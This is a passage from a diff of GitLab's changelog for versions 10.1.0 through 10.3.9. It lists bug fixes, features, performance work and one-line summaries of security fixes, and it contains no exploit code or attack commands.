+- Add i18n helpers to branch comparison view. !16031 (James Ramsay)
+- Add pause/resume button to project runners. !16032 (Mario de la Ossa)
+- Added option to user preferences to enable the multi file editor. !16056
+- Implement project jobs cache reset. !16067
+- Rendering of emoji's in Group-Overview. !16098 (Jacopo Beschi @jacopo-beschi)
+- Allow automatic creation of Kubernetes Integration from template. !16104
+- API: get participants from merge_requests & issues. !16187 (Brent Greeff)
+- Added option to disable commits stats in the commit endpoint. !16309
+- Disable creation of new Kubernetes Integrations unless they're active or created from template. !41054
+- Added badge to tree & blob views to indicate LFS tracked files.
+- Enable ordering of groups and their children by name.
+- Add button to run scheduled pipeline immediately.
+- Allow user to rebase merge requests.
+- Handle GitLab hashed storage repositories using the repo import task.
+- Hide runner token in CI/CD settings page.
+
+### Other (12 changes, 3 of them are from the community)
+
+- Adds the multi file editor as a new beta feature. !15430
+- Use relative URLs when linking to uploaded files. !15751
+- Add docs for why you might be signed out when using the Remember me token. !15756
+- Replace '.team << [user, role]' with 'add_role(user)' in specs. !16069 (@blackst0ne)
+- Add id to modal.vue to support data-toggle="modal". !16189
+- Update scss-lint to 0.56.0. !16278 (Takuya Noguchi)
+- Fix web ide user preferences copy and buttons. !41789
+- Update redis-rack to 2.0.4.
+- Import some code and functionality from gitlab-shell to improve subprocess handling.
+- Update Browse file to Choose file in all occurrences.
+- Bump mysql2 gem version from 0.4.5 to 0.4.10. (asaparov)
+- Use a background migration for issues.closed_at.
+
+
+## 10.3.9 (2018-03-16)
+
+### Security (3 changes)
+
+- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
+- Update nokogiri to 1.8.2. !16807
+- Fix GitLab Auth0 integration signing in the wrong user.
+
+
+## 10.3.8 (2018-03-01)
+
+### Security (1 change)
+
+- Ensure that OTP backup codes are always invalidated.
+
+
+## 10.3.7 (2018-02-05)
+
+### Security (4 changes)
+
+- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
+- Fix stored XSS in code blocks that ignore highlighting.
+- Fix wilcard protected tags protecting all branches.
+- Restrict Todo API mark_as_done endpoint to the user's todos only.
+
+
+## 10.3.6 (2018-01-22)
+
+### Fixed (17 changes, 2 of them are from the community)
+
+- Fix abuse reports link url in admin area navbar. !16068 (megos)
+- Fix gitlab-rake gitlab:import:repos import schedule. !16115
+- Fixing bug when wiki last version. !16197
+- Prevent excessive DB load due to faulty DeleteConflictingRedirectRoutes background migration. !16205
+- Default merge request title is set correctly again when external issue tracker is activated. !16356 (Ben305)
+- Prevent invalid Route path if path is unchanged. !16397
+- Fixing rack request mime type when using rack attack. !16427
+- Prevent RevList failing on non utf8 paths. !16440
+- Fix 500 error when visiting a commit where the blobs do not exist.
+- Fix viewing merge request diffs where the underlying blobs are unavailable.
+- Gracefully handle garbled URIs in Markdown.
+- Fix hooks not being set up properly for bare import Rake task.
+- Fix Mermaid drawings not loading on some browsers.
+- Fixed chanages dropdown ellipsis positioning.
+- Avoid leaving a push event empty if payload cannot be created.
+- Set target_branch to the ref branch when creating MR from issue.
+- Fix shortcut links on help page.
+
+
+## 10.3.5 (2018-01-18)
+
+- Fix error that prevented the 'deploy_keys' migration from working in MySQL databases.
+
+## 10.3.4 (2018-01-10)
+
+### Security (7 changes, 1 of them is from the community)
+
+- Prevent a SQL injection in the MilestonesFinder.
+- Fix RCE via project import mechanism.
+- Prevent OAuth login POST requests when a provider has been disabled.
+- Filter out sensitive fields from the project services API. (Robert Schilling)
+- Check user authorization for source and target projects when creating a merge request.
+- Fix path traversal in gitlab-ci.yml cache:key.
+- Fix writable shared deploy keys.
+
+
+## 10.3.3 (2018-01-02)
+
+### Fixed (3 changes)
+
+- Fix links to old commits in merge request comments.
+- Fix 404 errors after a user edits an issue description and solves the reCAPTCHA.
+- Gracefully handle orphaned write deploy keys in /internal/post_receive.
+
+
+## 10.3.2 (2017-12-28)
+
+### Fixed (1 change)
+
+- Fix migration for removing orphaned issues.moved_to_id values in MySQL and PostgreSQL.
+
+
+## 10.3.1 (2017-12-27)
+
+### Fixed (3 changes)
+
+- Don't link LFS objects to a project when unlinking forks when they were already linked. !16006
+- Execute project hooks and services after commit when moving an issue.
+- Fix Error 500s with anonymous clones for a project that has moved.
+
+### Changed (1 change)
+
+- Reduce the number of buckets in gitlab_cache_operation_duration_seconds metric. !15881
+
+
+## 10.3.0 (2017-12-22)
+
+### Security (1 change, 1 of them is from the community)
+
+- Upgrade jQuery to 2.2.4. !15570 (Takuya Noguchi)
+
+### Fixed (55 changes, 8 of them are from the community)
+
+- Fail jobs if its dependency is missing. !14009
+- Fix errors when selecting numeric-only labels in the labels autocomplete selector. !14607 (haseebeqx)
+- Fix pipeline status transition for single manual job. This would also fix pipeline duration becuse it is depending on status transition. !15251
+- Fix acceptance of username for Mattermost service update. !15275
+- Set the default gitlab-shell timeout to 3 hours. !15292
+- Make sure a user can add projects to subgroups they have access to. !15294
+- OAuth identity lookups case-insensitive. !15312
+- Fix filter by my reaction is not working. !15345 (Hiroyuki Sato)
+- Avoid deactivation when pipeline schedules execute a branch includes `[ci skip]` comment. !15405
+- Add recaptcha modal to issue updates detected as spam. !15408
+- Fix item name and namespace text overflow in Projects dropdown. !15451
+- Removed unused rake task, 'rake gitlab:sidekiq:drop_post_receive'. !15493
+- Fix commits page throwing 500 when the multi-file editor was enabled. !15502
+- Fix Issue comment submit button being disabled when pasting content from another GFM note. !15530
+- Reenable Prometheus metrics, add more control over Prometheus method instrumentation. !15558
+- Fix broadcast message not showing up on login page. !15578
+- Initializes the branches dropdown when the 'Start new pipeline' failed due to validation errors. !15588 (Christiaan Van den Poel)
+- Fix merge requests where the source or target branch name matches a tag name. !15591
+- Create a fork network for forks with a deleted source. !15595
+- Fix search results when a filename would contain a special character. !15606 (haseebeqx)
+- Strip leading & trailing whitespaces in CI/CD secret variable keys. !15615
+- Correctly link to a forked project from the new fork page. !15653
+- Fix the fork project functionality for projects with hashed storage. !15671
+- Added default order to UsersFinder. !15679
+- Fix graph notes number duplication. !15696 (Vladislav Kaverin)
+- Fix updateEndpoint undefined error for issue_show app root. !15698
+- Change boards page boards_data absolute urls to paths. !15703
+- Using appropriate services in the API for managing forks. !15709
+- Confirming email with invalid token should no longer generate an error. !15726
+- fix #39233 - 500 in merge request. !15774 (Martin Nowak)
+- Use Markdown styling for new project guidelines. !15785 (Markus Koller)
+- Fix error during schema dump. !15866
+- Fix broken illustration images for monitoring page empty states. !15889
+- Make sure user email is read only when synced with LDAP. !15915
+- Fixed outdated browser flash positioning.
+- Fix gitlab:import:repos Rake task moving repositories into the wrong location.
+- Gracefully handle case when repository's root ref does not exist.
+- Fix GitHub importer using removed interface.
+- Align retry button with job title with new grid size.
+- Fixed admin welcome screen new group path.
+- Fix related branches/Merge requests failing to load when the hostname setting is changed.
+- Init zen mode in snippets pages.
+- Remove extra margin from wordmark in header.
+- Fixed long commit links not wrapping correctly.
+- Fixed deploy keys remove button loading state not resetting.
+- Use app host instead of asset host when rendering image blob or diff.
+- Hide log size for mobile screens.
+- Fix sending notification emails to users with the mention level set who were mentioned in an issue or merge request description.
+- Changed validation error message on wrong milestone dates. (Xurxo Méndez Pérez)
+- Fix access to the final page of todos.
+- Fixed new group milestone breadcrumbs.
+- Fix image diff notification email from showing wrong content.
+- Fixed merge request lock icon size.
+- Make sure head pippeline always corresponds with the head sha of an MR.
+- Prevent 500 error when inspecting job after trigger was removed.
+
+### Changed (14 changes, 2 of them are from the community)
+
+- Only owner or master can erase jobs. !15216
+- Allow password authentication to be disabled entirely. !15223 (Markus Koller)
+- Add the option to automatically run a pipeline after updating AutoDevOps settings. !15380
+- Add total_time_spent to the `changes` hash in issuable Webhook payloads. !15381
+- Monitor NFS shards for circuitbreaker in a separate process. !15426
+- Add inline editing to issues on mobile. !15438
+- Add custom brand text on new project pages. !15541 (Markus Koller)
+- Show only group name by default and put full namespace in tooltip in Groups tree. !15650
+- Use custom user agent header in all GCP API requests. !15705
+- Changed the deploy markers on the prometheus dashboard to be more verbose. !38032
+- Animate contextual sidebar on collapse/expand.
+- Update emojis. Add :gay_pride_flag: and :speech_left:. Remove extraneous comma in :cartwheel_tone4:.
+- When a custom header logo is present, don't show GitLab type logo.
+- Improved diff changed files dropdown design.
+
+### Performance (19 changes)
+
+- Add timeouts for Gitaly calls. !15047
+- Performance issues when loading large number of wiki pages. !15276
+- Add performance logging to UpdateMergeRequestsWorker. !15360
+- Keep track of all circuitbreaker keys in a set. !15613
+- Improve the performance for counting commits. !15628
+- Reduce requests for project forks on show page of projects that have forks. !15663
+- Perform SQL matching of Build&Runner tags to greatly speed-up job picking.
+- Only load branch names for protected branch checks.
+- Optimize API /groups/:id/projects by preloading associations.
+- Remove allocation tracking code from InfluxDB sampler for performance.
+- Throttle the number of UPDATEs triggered by touch.
+- Make finding most recent merge request diffs more efficient.
+- Fetch blobs in bulk when generating diffs.
+- Cache commits for MergeRequest diffs.
+- Use fuzzy search with minimum length of 3 characters where appropriate.
+- Add axios to common file.
+- Remove template selector from global namespace.
+- check the import_status field before doing SQL operations to check the import url.
+- Stop sending milestone and labels data over the wire for MR widget requests.
+
+### Added (22 changes, 15 of them are from the community)
+
+- Limit autocomplete menu to applied labels. !11110 (Vitaliy @blackst0ne Klachkov)
+- Make diff notes created on a commit in a merge request to persist a rebase. !12148
+- Allow creation of merge request from email. !13817 (janp)
+- Add an ability to use a custom branch name on creation from issues. !13884 (Vitaliy @blackst0ne Klachkov)
+- Add anonymous rate limit per IP, and authenticated (web or API) rate limits per user. !14708
+- Create a new form to add Existing Kubernetes Cluster. !14805
+- Add support of Mermaid (generation of diagrams and flowcharts from text). !15107 (Vitaliy @blackst0ne Klachkov)
+- Add total time spent to milestones. !15116 (George Andrinopoulos)
+- Add /groups/:id/subgroups endpoint to API. !15142 (marbemac)
+- Add administrative endpoint to list all pages domains. !15160 (Travis Miller)
+- Adds Rubocop rule for line break after guard clause. !15188 (Jacopo Beschi @jacopo-beschi)
+- Add edit button to mobile file view. !15199 (Travis Miller)
+- Add dropdown sort to group milestones. !15230 (George Andrinopoulos)
+- added support for ordering and sorting in notes api. !15342 (haseebeqx)
+- Hashed Storage migration script now supports migrating project attachments. !15352
+- New API endpoint - list jobs for a specified runner. !15432
+- Add new API endpoint - get a namespace by ID. !15442
+- Disables autocomplete in filtered searc. !15477 (Jacopo Beschi @jacopo-beschi)
+- Update empty state page of merge request 'changes' tab. !15611 (Vitaliy @blackst0ne Klachkov)
+- Allow git pull/push on group/user/project redirects. !15670
+- show status of gitlab reference links in wiki. !15694 (haseebeqx)
+- Add email confirmation parameters for user creation and update via API. (Daniel Juarez)
+
+### Other (17 changes, 7 of them are from the community)
+
+- Enable UnnecessaryMantissa in scss-lint. !15255 (Takuya Noguchi)
+- Add untracked files to uploads table. !15270
+- Move update_project_counter_caches? out of issue and merge request. !15300 (George Andrinopoulos)
+- Removed tooltip from clone dropdown. !15334
+- Clean up empty fork networks. !15373
+- Create issuable destroy service. !15604 (George Andrinopoulos)
+- Upgrade seed-fu to 2.3.7. !15607 (Takuya Noguchi)
+- Rename GKE as Kubernetes Engine. !15608 (Takuya Noguchi)
+- Prefer ci_config_path validation for leading slashes instead of sanitizing the input. !15672 (Christiaan Van den Poel)
+- Fix typo in docs about Elasticsearch. !15699 (Takuya Noguchi)
+- Add internationalization support for the prometheus integration. !33338
+- Export text utils functions as es6 module and add tests.
+- Stop reloading the page when using pagination and tabs - use API calls - in Pipelines table.
+- Clean up schema of the "issues" table.
+- Clarify wording of protected branch settings for the default branch.
+- Update svg external dependency.
+- Clean up schema of the "merge_requests" table.
+
+
+## 10.2.8 (2018-02-07)
+
+### Security (4 changes)
+
+- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
+- Fix stored XSS in code blocks that ignore highlighting.
+- Fix wilcard protected tags protecting all branches.
+- Restrict Todo API mark_as_done endpoint to the user's todos only.
+
+
+## 10.2.7 (2018-01-18)
+
+- No changes.
+
+## 10.2.6 (2018-01-11)
+
+### Security (9 changes, 1 of them is from the community)
+
+- Fix writable shared deploy keys.
+- Filter out sensitive fields from the project services API. (Robert Schilling)
+- Fix RCE via project import mechanism.
+- Fixed IPython notebook output not being sanitized.
+- Prevent OAuth login POST requests when a provider has been disabled.
+- Prevent a SQL injection in the MilestonesFinder.
+- Check user authorization for source and target projects when creating a merge request.
+- Fix path traversal in gitlab-ci.yml cache:key.
+- Fix XSS vulnerability in pipeline job trace.
+
+
+## 10.2.5 (2017-12-15)
+
+### Fixed (8 changes)
+
+- Create a fork network for forks with a deleted source. !15595
+- Correctly link to a forked project from the new fork page. !15653
+- Fix the fork project functionality for projects with hashed storage. !15671
+- Fix updateEndpoint undefined error for issue_show app root. !15698
+- Fix broken illustration images for monitoring page empty states. !15889
+- Fix related branches/Merge requests failing to load when the hostname setting is changed.
+- Fix gitlab:import:repos Rake task moving repositories into the wrong location.
+- Gracefully handle case when repository's root ref does not exist.
+
+### Performance (3 changes)
+
+- Keep track of all circuitbreaker keys in a set. !15613
+- Only load branch names for protected branch checks.
+- Optimize API /groups/:id/projects by preloading associations.
+
+
+## 10.2.4 (2017-12-07)
+
+### Security (5 changes)
+
+- Fix e-mail address disclosure through member search fields
+- Prevent creating issues through API when user does not have permissions
+- Prevent an information disclosure in the Groups API
+- Fix user without access to private Wiki being able to see it on the project page
+- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
+
+
+## 10.2.3 (2017-11-30)
+
+### Fixed (7 changes)
+
+- Fix hashed storage for Import/Export uploads. !15482
+- Ensure that rake gitlab:cleanup:repos task does not mess with hashed repositories. !15520
+- Ensure that rake gitlab:cleanup:dirs task does not mess with hashed repositories. !15600
+- Fix WIP system note not being created.
+- Fix link text from group context.
+- Fix defaults for MR states and merge statuses.
+- Fix pulling and pushing using a personal access token with the sudo scope.
+
+### Performance (3 changes)
+
+- Drastically improve project search performance by no longer searching namespace name.
+- Reuse authors when rendering event Atom feeds.
+- Optimise StuckCiJobsWorker using cheap SQL query outside, and expensive inside.
+
+
+## 10.2.2 (2017-11-23)
+
+### Fixed (5 changes)
+
+- Label addition/removal are not going to be redacted wrongfully in the API. !15080
+- Fix bitbucket wiki import with hashed storage enabled. !15490
+- Impersonation no longer gets stuck on password change. !15497
+- Fix blank states using old css.
+- Fix promoting milestone updating all issuables without milestone.
+
+### Performance (3 changes)
+
+- Update Issue Boards to fetch the notification subscription status asynchronously.
+- Update composite pipelines index to include "id".
+- Use arrays in Pipeline#latest_builds_with_artifacts.
+
+### Other (2 changes)
+
+- Don't move repositories and attachments for projects using hashed storage. !15479
+- Add logs for monitoring the merge process.
+
+
+## 10.2.1 (2017-11-22)
+
+### Fixed (1 change)
+
+- Force disable Prometheus metrics.
+
+
+## 10.2.0 (2017-11-22)
+
+### Security (4 changes)
+
+- Upgrade Ruby to 2.3.5 to include security patches. !15099
+- Prevent OAuth phishing attack by presenting detailed wording about app to user during authorization.
+- Convert private tokens to Personal Access Tokens with sudo scope.
+- Remove private tokens from web interface and API.
+
+### Removed (5 changes)
+
+- Remove help text from group issues page and group merge requests page. !14963
+- Remove overzealous tooltips in projects page tabs. !15017
+- Stop merge requests from fetching their refs when the data is already available. !15129
+- Remove update merge request worker tagging.
+- Remove Session API now that private tokens are removed from user API endpoints.
+
+### Fixed (75 changes, 18 of them are from the community)
+
+- Fix 404 errors in API caused when the branch name had a dot. !14462 (gvieira37)
+- Remove unnecessary alt-texts from pipeline emails. !14602 (gernberg)
+- Renders 404 in commits controller if no commits are found for a given path. !14610 (Guilherme Vieira)
+- Cleanup data-page attribute after each Karma test. !14742
+- Removed extra border radius from .file-editor and .file-holder when editing a file. !14803 (Rachel Pipkin)
+- Add support for markdown preview to group milestones. !14806 (Vitaliy @blackst0ne Klachkov)
+- Fixed 'Removed source branch' checkbox in merge widget being ignored. !14832
+- Fix unnecessary ajax requests in admin broadcast message form. !14853
+- Make NamespaceSelect change URL when filtering. !14888
+- Get true failure from evalulate_script by checking for element beforehand. !14898
+- Fix SAML error 500 when no groups are defined for user. !14913
+- Fix 500 errors caused by empty diffs in some discussions. !14945 (Alexander Popov)
+- Fix the atom feed for group events. !14974
+- Hides pipeline duration in commit box when it is zero (nil). !14979 (gvieira37)
+- Add new diff discussions on MR diffs tab in "realtime". !14981
+- Returns a ssh url for go-get=1. !14990 (gvieira37)
+- Case insensitive search for branches. !14995 (George Andrinopoulos)
+- Fixes 404 error to 'Issues assigned to me' and 'Issues I've created' when issues are disabled. !15021 (Jacopo Beschi @jacopo-beschi)
+- Update the groups API documentation. !15024 (Robert Schilling)
+- Validate username/pw for Jiraservice, require them in the API. !15025 (Robert Schilling)
+- Update Merge Request polling so there is only one request at a time. !15032
+- Use project select dropdown not only as a combobutton. !15043
+- Remove create MR button from issues when MRs are disabled. !15071 (George Andrinopoulos)
+- Tighten up whitelisting of certain Geo routes. !15082
+- Allow to disable the Performance Bar. !15084
+- Refresh open Issue and Merge Request project counter caches when re-opening. !15085 (Rob Ede @robjtede)
+- Fix markdown form tabs toggling preview mode from double clicking write mode button. !15119
+- Fix cancel button not working while uploading on the new issue page. !15137
+- Fix webhooks recent deliveries. !15146 (Alexander Randa (@randaalex))
+- Fix issues with forked projects of which the source was deleted. !15150
+- Fix GPG signature popup info in Safari and Firefox. !15228
+- Fix GFM reference links for closed milestones. !15234 (Vitaliy @blackst0ne Klachkov)
+- When deleting merged branches, ignore protected tags. !15252
+- Revert a regression on runners sorting (!15134). !15341 (Takuya Noguchi)
+- Don't use JS to delete memberships from projects and groups. !15344
+- Don't try to create fork network memberships for forks with a missing source. !15366
+- Fix gitlab:backup rake for hashed storage based repositories. !15400
+- Fix issue where clicking a GPG verification badge would scroll to the top of the page. !15407
+- Update container repository path reference and allow using double underscore. !15417
+- Fix crash when navigating to second page of the group dashboard when there are projects and groups on the first page. !15456
+- Fix flash errors showing up on a non configured prometheus integration. !35652
+- Fix timezone bug in Pikaday and upgrade Pikaday version.
+- Fix arguments Import/Export error importing project merge requests.
+- Moves mini graph of pipeline to the end of sentence in MR widget. Cleans HTML and tests.
+- Fix user autocomplete in subgroups.
+- Fixed user profile activity tab being off-screen on mobile.
+- Fix diff parser so it tolerates to diff special markers in the content.
+- Fix a migration that adds merge_requests_ff_only_enabled column to MR table.
+- Don't create build failed todos when the job is automatically retried.
+- Render 404 when polling commit notes without having permissions.
+- Show error message when fast-forward merge is not possible.
+- Prevents position update for image diff notes.
+- Mobile-friendly table on Admin Runners. (Takuya Noguchi)
+- Decreases z-index of select2 to a lower number of our navigation bar.
+- Fix broken Members link when relative URL root paths are used.
+- Avoid regenerating the ref path for the environment.
+- Memoize GitLab logger to reduce open file descriptors.
+- Fix hashed storage with project transfers to another namespace.
+- Fix bad type checking to prevent 0 count badge to be shown.
+- Fix problem with issuable header wrapping when content is too long.
+- Move retry button in job page to sidebar.
+- Formats bytes to human reabale number in registry table.
+- Fix commit pipeline showing wrong status.
+- Include link to issue in reopen message for Slack and Mattermost notifications.
+- Fix double border UI bug on pipelines/environments table and pagination.
+- Remove native title tooltip in pipeline jobs dropdown in Safari.
+- Fix namespacing for MergeWhenPipelineSucceedsService in MR API.
+- Prevent error when authorizing an admin-created OAauth application without a set owner.
+- Always return full avatar URL for private/internal groups/projects when asset host is set.
+- Make sure group and project creation is blocked for new users that are external by default.
+- Make sure NotesActions#noteable returns a Noteable in the update action.
+- Reallow project paths ending in periods.
+- Only set Auto-Submitted header once for emails on push.
+- Fix overlap of right-sidebar and main content when creating a Wiki page.
+- Enables scroll to bottom once user has scrolled back to bottom in job log.
+
+### Changed (21 changes, 7 of them are from the community)
+
+- Added possibility to enter past date in /spend command to log time in the past. !3044 (g3dinua, LockiStrike)
+- Add Prometheus equivalent of all InfluxDB metrics. !13891
+- Show collapsible project lists. !14055
+- Make Prometheus metrics endpoint return empty response when metrics are disabled. !14490
+- Support custom attributes on groups and projects. !14593 (Markus Koller)
+- Avoid fetching all branches for branch existence checks. !14778
+- Update participants and subscriptions button in issuable sidebar to be async. !14836
+- Replace WikiPage::CreateService calls with wiki_page factory in specs. !14850 (Jacopo Beschi @jacopo-beschi)
+- Add lazy option to UserAvatarImage. !14895
+- Add readme only option as project view. !14900
+- Todos spelled correctly on Todos list page. !15015
+- Support uml:: and captions in reStructuredText. !15120 (Markus Koller)
+- Add system hooks user_rename and group_rename. !15123
+- Change tags order in refs dropdown. !15235 (Vitaliy @blackst0ne Klachkov)
+- Change default cluster size to n1-default-2. !39649 (Fabio Busatto)
+- Change 'Sign Out' route from a DELETE to a GET. !39708 (Joe Marty)
+- Change background color of nav sidebar to match other gl sidebars.
+- Update i18n section in FE docs for marking and interpolation.
+- Add a count of changes to the merge requests API.
+- Improve GitLab Import rake task to work with Hashed Storage and Subgroups.
+- 14830 Move GitLab export option to top of import list when creating a new project.
+
+### Performance (14 changes)
+
+- Improve branch listing page performance. !14729
+- Improve DashboardController#activity.json performance. !14985
+- Add a latest_merge_request_diff_id column to merge_requests. !15035
+- Improve performance of the /projects/:id/repository/branches API endpoint. !15215
+- Ensure merge requests with lots of version don't time out when searching for pipelines.
+- Speed up issues list APIs.
+- Remove Filesystem check metrics that use too much CPU to handle requests.
+- Disable Unicorn sampling in Sidekiq since there are no Unicorn sockets to monitor.
+- Truncate tree to max 1,000 items and display notice to users.
+- Add Performance improvement as category on the changelog.
+- Cache commits fetched from the repository.
+- Cache the number of user SSH keys.
+- Optimise getting the pipeline status of commits.
+- Improve performance of commits list by fully using DB index when getting commit note counts.
+
+### Added (26 changes, 10 of them are from the community)
+
+- Expose duration in Job entity. !13644 (Mehdi Lahmam (@mehlah))
+- Prevent git push when LFS objects are missing. !13837
+- Automatic configuration settings page. !13850 (Francisco Lopez)
+- Add API endpoints for Pages Domains. !13917 (Travis Miller)
+- Include the changes in issuable webhook payloads. !14308
+- Add Packagist project service. !14493 (Matt Coleman)
+- Add sort runners on admin runners. !14661 (Takuya Noguchi)
+- Repo Editor: Add option to start a new MR directly from comit section. !14665
+- Issue JWT token with registry:catalog:* scope when requested by GitLab admin. !14751 (Vratislav Kalenda)
+- Support show-all-refs for git over HTTP. !14834
+- Add loading button for new UX paradigm. !14883
+- Get Project Branch API shows an helpful error message on invalid refname. !14884 (Jacopo Beschi @jacopo-beschi)
+- Refactor have_http_status into have_gitlab_http_status. !14958 (Jacopo Beschi @jacopo-beschi)
+- Suggest to rename the remote for existing repository instructions. !14970 (helmo42)
+- Adds project_id to pipeline hook data. !15044 (Jacopo Beschi @jacopo-beschi)
+- Hashed Storage support for Attachments. !15068
+- Add metric tagging for sidekiq workers. !15111
+- Expose project visibility as CI variable - CI_PROJECT_VISIBILITY. !15193
+- Allow multiple queries in a single Prometheus graph to support additional environments (Canary, Staging, et al.). !15201
+- Allow promoting project milestones to group milestones.
+- Added submodule support in multi-file editor.
+- Add applications section to GKE clusters page to easily install Helm Tiller, Ingress.
+- Allow files to uploaded in the multi-file editor.
+- Add Ingress to available Cluster applications.
+- Adds typescript support.
+- Add sudo scope for OAuth and Personal Access Tokens to be used by admins to impersonate other users on the API.
+
+### Other (18 changes, 8 of them are from the community)
+
+- Decrease Perceived Complexity threshold to 14. !14231 (Maxim Rydkin)
+- Replace the 'features/explore/projects.feature' spinach test with an rspec analog. !14755 (Vitaliy @blackst0ne Klachkov)
+- While displaying a commit, do not show list of related branches if there are thousands of branches. !14812
+- Removed d3.js from the graph and users bundles and used the common_d3 bundle instead. !14826
+- Make contributors page translatable. !14915
+- Decrease ABC threshold to 54.28. !14920 (Maxim Rydkin)
+- Clarify system_hook triggers in documentation. !14957 (Joe Marty)
+- Free up some reserved group names. !15052
+- Bump carrierwave to 1.2.1. !15072 (Takuya Noguchi)
+- Enable NestingDepth (level 6) on scss-lint. !15073 (Takuya Noguchi)
+- Enable BorderZero rule in scss-lint. !15168 (Takuya Noguchi)
+- Internationalized tags page. !38589
+- Moves placeholders components into shared folder with documentation. Makes them easier to reuse in MR and Snippets comments.
+- Reorganize welcome page for new users.
+- Refactor GroupLinksController. (15121)
+- Remove filter icon from search bar.
+- Use title as placeholder instead of issue title for reusability.
+- Add Gitaly metrics to the performance bar.
+
+
+## 10.1.7 (2018-01-18)
+
+- No changes.
+
+## 10.1.6 (2018-01-11)
+
+### Security (8 changes, 1 of them is from the community)
+
+- Fix writable shared deploy keys.
+- Filter out sensitive fields from the project services API. (Robert Schilling)
+- Fix RCE via project import mechanism.
+- Prevent OAuth login POST requests when a provider has been disabled.
+- Prevent a SQL injection in the MilestonesFinder.
+- Check user authorization for source and target projects when creating a merge request.
+- Fix path traversal in gitlab-ci.yml cache:key.
+- Fix XSS vulnerability in pipeline job trace.
+
+
+## 10.1.5 (2017-12-07)
+
+### Security (5 changes)
+
+- Fix e-mail address disclosure through member search fields
+- Prevent creating issues through API when user does not have permissions
+- Prevent an information disclosure in the Groups API
+- Fix user without access to private Wiki being able to see it on the project page
+- Fix Cross-Site Scripting (XSS) vulnerability while editing a comment
+
+
+## 10.1.4 (2017-11-14)
+
+### Fixed (4 changes)
+
+- Don't try to create fork network memberships for forks with a missing source. !15366
+- Formats bytes to human reabale number in registry table.
+- Prevent error when authorizing an admin-created OAauth application without a set owner.
+- Prevents position update for image diff notes.
+
+
+## 10.1.3 (2017-11-10)
+
+- [SECURITY] Prevent OAuth phishing attack by presenting detailed wording about app to user during authorization.
+- [FIXED] Fix cancel button not working while uploading on the new issue page. !15137
+- [FIXED] Fix webhooks recent deliveries. !15146 (Alexander Randa (@randaalex))
+- [FIXED] Fix issues with forked projects of which the source was deleted. !15150
+- [FIXED] Fix GPG signature popup info in Safari and Firefox. !15228
+- [FIXED] Make sure group and project creation is blocked for new users that are external by default.
+- [FIXED] Fix arguments Import/Export error importing project merge requests.
+- [FIXED] Fix diff parser so it tolerates to diff special markers in the content.
+- [FIXED] Fix a migration that adds merge_requests_ff_only_enabled column to MR table.
+- [FIXED] Render 404 when polling commit notes without having permissions.
+- [FIXED] Show error message when fast-forward merge is not possible.
+- [FIXED] Avoid regenerating the ref path for the environment.
+- [PERFORMANCE] Remove Filesystem check metrics that use too much CPU to handle requests.
+
+## 10.1.2 (2017-11-08)
+
+- [SECURITY] Add X-Content-Type-Options header in API responses to make it more difficult to find other vulnerabilities.
+- [SECURITY] Properly translate IP addresses written in decimal, octal, or other formats in SSRF protections in project imports.
+- [FIXED] Fix TRIGGER checks for MySQL.
+
+## 10.1.1 (2017-10-31)
+
+- [FIXED] Auto Devops kubernetes default namespace is now correctly built out of gitlab project group-name. !14642 (Mircea Danila Dumitrescu)
+- [FIXED] Forbid the usage of `Redis#keys`. !14889
+- [FIXED] Make the circuitbreaker more robust by adding higher thresholds, and multiple access attempts. !14933
+- [FIXED] Only cache last push event for existing projects when pushing to a fork. !14989
+- [FIXED] Fix bug preventing secondary emails from being confirmed. !15010
+- [FIXED] Fix broken wiki pages that link to a wiki file. !15019
+- [FIXED] Don't rename paths that were freed up when upgrading. !15029
+- [FIXED] Fix bitbucket login. !15051
+- [FIXED] Update gitaly in GitLab 10.1 to 0.43.1 for temp file cleanup. !15055
+- [FIXED] Use the correct visibility attribute for projects in system hooks. !15065
+- [FIXED] Normalize LDAP DN when looking up identity.
+- [FIXED] Adds callback functions for initial request in clusters page.
+- [FIXED] Fix missing Import/Export issue assignees.
+- [FIXED] Allow boards as top level route.
+- [FIXED] Fix widget of locked merge requests not being presented.
+- [FIXED] Fix editing issue description in mobile view.
+- [FIXED] Fix deletion of container registry or images returning an error.
+- [FIXED] Fix the writing of invalid environment refs.
+- [CHANGED] Store circuitbreaker settings in the database instead of config. !14842
+- [CHANGED] Update default disabled merge request widget message to reflect a general failure. !14960
+- [PERFORMANCE] Stop merge requests with thousands of commits from timing out. !15063
+
+## 10.1.0 (2017-10-22)
+
+- [SECURITY] Use a timeout on certain git operations. !14872
+- [SECURITY] Move project repositories between namespaces when renaming users.
+- [SECURITY] Prevent an open redirect on project pages.
+- [SECURITY] Prevent a persistent XSS in user-provided markup.
+- [REMOVED] Remove the ability to visit the issue edit form directly. !14523
+- [REMOVED] Remove animate.js and label animation.
+- [FIXED] Perform prometheus data endpoint requests in parallel. !14003
+- [FIXED] Escape quotes in git username. !14020 (Brandon Everett)
+- [FIXED] Fixed non-UTF-8 valid branch names from causing an error. !14090
+- [FIXED] Read import sources from setting at first initialization. !14141 (Visay Keo)
+- [FIXED] Display full pre-receive and post-receive hook output in GitLab UI. !14222 (Robin Bobbitt)
+- [FIXED] Fix incorrect X-axis labels in Prometheus graphs. !14258
+- [FIXED] Fix the default branches sorting to actually be 'Last updated'. !14295
+- [FIXED] Fixes project denial of service via gitmodules using Extended ASCII. !14301
+- [FIXED] Fix the filesystem shard health check to check all configured shards. !14341
+- [FIXED] Compare email addresses case insensitively when verifying GPG signatures. !14376 (Tim Bishop)
+- [FIXED] Allow the git circuit breaker to correctly handle missing repository storages. !14417
+- [FIXED] Fix `rake gitlab:incoming_email:check` and make it report the actual error. !14423
+- [FIXED] Does not check if an invariant hashed storage path exists on disk when renaming projects. !14428
+- [FIXED] Also reserve refs/replace after importing a project. !14436
+- [FIXED] Fix profile image orientation based on EXIF data gvieira37. !14461 (gvieira37)
+- [FIXED] Move the deployment flag content to the left when deployment marker is near the end. !14514
+- [FIXED] Fix notes type created from import. This should fix some missing notes issues from imported projects. !14524
+- [FIXED] Fix bottom spacing for dropdowns that open upwards. !14535
+- [FIXED] Adjusts tag link to avoid underlining spaces. !14544 (Guilherme Vieira)
+- [FIXED] Add missing space in Sidekiq memory killer log message. !14553 (Benjamin Drung)
+- [FIXED] Ensure no exception is raised when Raven tries to get the current user in API context. !14580
+- [FIXED] Fix edit project service cancel button position. !14596 (Matt Coleman)
